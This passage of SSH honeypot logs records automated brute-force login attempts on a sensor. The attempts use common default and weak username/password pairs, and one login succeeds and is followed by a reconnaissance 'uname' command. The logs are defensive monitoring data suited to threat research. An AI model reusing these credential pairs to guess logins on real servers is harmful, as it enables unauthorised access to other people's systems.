16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:39.384313Z","src_ip":"103.27.238.114","session":"9417e176220b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ybrbnf2000","message":"login attempt [root/ybrbnf2000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:40.240510Z","src_ip":"103.27.238.114","session":"9417e176220b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":19687,"dst_ip":"10.17.0.5","dst_port":22,"session":"1876e4680c75","protocol":"ssh","message":"New connection: 5.196.136.131:19687 (10.17.0.5:22) [session: 1876e4680c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:40.714338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:40.718455Z","src_ip":"5.196.136.131","session":"1876e4680c75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:40.798597Z","src_ip":"5.196.136.131","session":"1876e4680c75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:41.035810Z","src_ip":"5.196.136.131","session":"1876e4680c75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:41.527817Z","src_ip":"103.27.238.114","session":"9417e176220b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:42.115627Z","src_ip":"5.196.136.131","session":"1876e4680c75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":24593,"dst_ip":"10.17.0.5","dst_port":22,"session":"804b83bf66db","protocol":"ssh","message":"New connection: 5.196.136.131:24593 (10.17.0.5:22) [session: 804b83bf66db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:45.295285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:45.299320Z","src_ip":"5.196.136.131","session":"804b83bf66db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:45.377730Z","src_ip":"5.196.136.131","session":"804b83bf66db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:45.614321Z","src_ip":"5.196.136.131","session":"804b83bf66db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:46.695253Z","src_ip":"5.196.136.131","session":"804b83bf66db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":52120,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c28e92af15b","protocol":"ssh","message":"New connection: 5.196.136.131:52120 (10.17.0.5:22) [session: 0c28e92af15b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:49.751262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:49.757951Z","src_ip":"5.196.136.131","session":"0c28e92af15b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:49.836245Z","src_ip":"5.196.136.131","session":"0c28e92af15b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:50.096933Z","src_ip":"5.196.136.131","session":"0c28e92af15b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.205.184.118","src_port":40496,"dst_ip":"10.17.0.5","dst_port":22,"session":"53827e6f8643","protocol":"ssh","message":"New connection: 92.205.184.118:40496 (10.17.0.5:22) [session: 53827e6f8643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:50.215489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:50.219163Z","src_ip":"92.205.184.118","session":"53827e6f8643","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:50.310687Z","src_ip":"92.205.184.118","session":"53827e6f8643","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2020!","message":"login attempt [root/unitedstates2020!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:50.583754Z","src_ip":"92.205.184.118","session":"53827e6f8643","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:51.175467Z","src_ip":"5.196.136.131","session":"0c28e92af15b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:51.676304Z","src_ip":"92.205.184.118","session":"53827e6f8643","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":61925,"dst_ip":"10.17.0.5","dst_port":22,"session":"26bf6fd42725","protocol":"ssh","message":"New connection: 5.196.136.131:61925 (10.17.0.5:22) [session: 26bf6fd42725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:54.210836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:54.214645Z","src_ip":"5.196.136.131","session":"26bf6fd42725","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:54.290772Z","src_ip":"5.196.136.131","session":"26bf6fd42725","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:54.519426Z","src_ip":"5.196.136.131","session":"26bf6fd42725","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:54.711324Z","src_ip":"5.196.136.131","session":"26bf6fd42725","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:54.713796Z","src_ip":"5.196.136.131","session":"26bf6fd42725","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:54.793350Z","src_ip":"5.196.136.131","session":"26bf6fd42725","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:54.796973Z","src_ip":"5.196.136.131","session":"26bf6fd42725","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":20746,"dst_ip":"10.17.0.5","dst_port":22,"session":"814f7e4b324a","protocol":"ssh","message":"New connection: 5.196.136.131:20746 (10.17.0.5:22) [session: 814f7e4b324a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:58.720017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:58.723389Z","src_ip":"5.196.136.131","session":"814f7e4b324a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:58.798859Z","src_ip":"5.196.136.131","session":"814f7e4b324a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"123456","message":"login attempt [hu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:42:59.027647Z","src_ip":"5.196.136.131","session":"814f7e4b324a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:00.106119Z","src_ip":"5.196.136.131","session":"814f7e4b324a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":10186,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea9436e9d600","protocol":"ssh","message":"New connection: 5.196.136.131:10186 (10.17.0.5:22) [session: ea9436e9d600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:03.167637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:03.224411Z","src_ip":"5.196.136.131","session":"ea9436e9d600","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:03.303606Z","src_ip":"5.196.136.131","session":"ea9436e9d600","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:03.543684Z","src_ip":"5.196.136.131","session":"ea9436e9d600","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:04.625946Z","src_ip":"5.196.136.131","session":"ea9436e9d600","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":36048,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6a779655aa6","protocol":"ssh","message":"New connection: 5.196.136.131:36048 (10.17.0.5:22) [session: e6a779655aa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:07.693279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:07.697946Z","src_ip":"5.196.136.131","session":"e6a779655aa6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:07.774161Z","src_ip":"5.196.136.131","session":"e6a779655aa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:43:08.001865Z","src_ip":"5.196.136.131","session":"e6a779655aa6","protocol":"ssh"}
